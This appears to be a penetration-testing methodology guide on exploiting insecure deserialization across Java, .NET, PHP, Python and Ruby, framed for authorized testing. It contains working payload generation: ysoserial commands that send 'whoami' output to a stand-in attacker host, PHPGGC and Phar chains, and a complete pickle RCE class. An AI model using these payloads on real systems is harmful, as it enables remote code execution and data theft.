Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.
Only against systems you are authorized to test.
When to Use
- A cookie, parameter, header, or message body contains a serialized object
- You see the magic values listed below in traffic or storage
- Source review finds
readObject,unserialize,pickle.loads,
Marshal.load, BinaryFormatter, yaml.load, or ObjectInputStream
- A message queue, cache, or session store holds serialized objects
- You need to confirm a suspected blind deserialization
When NOT to Use
- JSON/XML parsing without object instantiation — that is injection or XXE;
- Source-code review as the primary task — use
auditing-code-for-vulnerabilities; return here for exploitation
- Building a weaponized payload beyond proving impact — prove control, stop
- Analyzing malware that uses deserialization — use
analyzing-malware
Recognize the Format
Magic bytes identify the runtime, and the runtime decides the entire approach.
| Encoding | Base64 prefix | Raw bytes | Runtime |
|---|---|---|---|
| Java serialization | rO0AB | AC ED 00 05 | Java |
.NET BinaryFormatter | AAEAAAD///// | 00 01 00 00 00 FF FF FF FF | .NET |
.NET LosFormatter/ViewState | often /wEP | — | ASP.NET |
PHP serialize() | Tzo, YTo | O: , a: | PHP |
| Python pickle | gAJ, gASV, KGRw | 80 04, 80 02, (dp | Python |
| Ruby Marshal | BAh | 04 08 | Ruby |
Java Hessian/Burlap | Yw | 63/48 | Java |
| YAML with tags | — | !!python/object, !ruby/object | Multiple |
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3
# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.
Java
# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0
# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0Always start with URLDNS. It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.
Then determine the classpath to pick a chain:
- Error messages and stack traces naming library classes
gadgetprobe(Burp) — sends probes that reveal which classes exist by the
difference in error behaviour
- Version fingerprinting from the application's other responses
Common chains and what they need: CommonsCollections1–7 (commons-collections 3.x/4.x), CommonsBeanutils1, Spring1/2, Groovy1, Hibernate1, Jdk7u21 (no library needed, but a narrow JDK range), ROME, C3P0.
Beyond raw serialization: Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.
.NET
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
--generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1Vulnerable formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter, and Json.NET/XmlSerializer when TypeNameHandling is not None. That last case is the most common in modern code: TypeNameHandling.All or .Objects lets the JSON specify its own $type, which is deserialization by another name.
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type csViewState is the classic ASP.NET case. Exploitable when the MAC key is known (leaked web.config, a known default, or enableViewStateMac="false" on old versions). Extract validationKey and decryptionKey first — without them the payload is rejected.
PHP
// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b # base64 output
phpggc -l # list available chains
# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/xPhar is the underrated vector: it turns any filesystem call on an attacker-influenced path into deserialization, with no obvious unserialize() in the code.
Python
# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())Also check: yaml.load() without SafeLoader (!!python/object/apply:os.system), jsonpickle, dill, shelve, numpy.load with allow_pickle=True, and any ML model format that is pickle-backed — see securing-ai-systems.
Ruby
# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual casesAlso: YAML.load (pre-Psych-4 defaults), and Rails cookie stores where the secret_key_base has leaked.
Blind and Out-of-Band
Most real cases give no output. Confirm before investing in a chain.
# 1. DNS/HTTP callback — the primary confirmation
# Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
# 'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
# type produces different exceptions, confirming parsing without executionAn out-of-band interaction proves deserialization occurred. That alone is the finding; escalating to a full shell is often unnecessary and increases risk.
Where Serialized Data Hides
Beyond the obvious request parameter:
- Session cookies and remember-me tokens
- Message queues (RabbitMQ, Kafka, SQS) consumed by a worker
- Caches: Redis, Memcached,
Ehcache - File uploads processed by a background job
- Inter-service RPC: RMI, JMX, JNDI, T3 (WebLogic), IIOP
- Database columns holding serialized blobs
- Anything logged, then re-read by a log processor
The queue and cache cases are the most valuable, because the consumer is usually a backend service with more privilege than the web tier — and nobody proxies it.
Rationalizations to Reject
- "The input is validated before deserialization." Validation of a serialized
blob is nearly impossible; the type is inside the blob.
- "There's no
unserialize()call." PHP: check for Phar. Java: check RMI,
JMX, and JNDI. .NET: check TypeNameHandling.
- "No gadget chain worked, so it's not vulnerable."
URLDNSconfirms
deserialization independent of the classpath. Confirm first, chain second.
- "It's a signed cookie, so it can't be tampered with." Only if the key is
secret. Check for leaked or default keys.
- "The library is patched." Patches remove specific gadgets. The sink is
still there, and new chains keep appearing.
- "It's internal, only our services send it." Queues and caches are reachable
from more places than the web tier, and that is exactly the point.
- "I got a DNS hit but no shell, so it's low severity." A confirmed
deserialization sink is high severity. Report it as such.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1190 Exploit Public-Facing Application — see also
testing-web-applications,testing-apis,enumerating-network-services,attacking-graphql,attacking-grpc-protobuf,exploiting-ssrf,exploiting-xxe
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
auditing-code-for-vulnerabilities— finding the sinks in sourcetesting-web-applications— the surrounding web methodologysecuring-ai-systems— pickle-backed model formatsreporting-security-findings— severity when only blind confirmation exists- ysoserial, ysoserial.net, PHPGGC, gadgetprobe, Burp Collaborator / interact.sh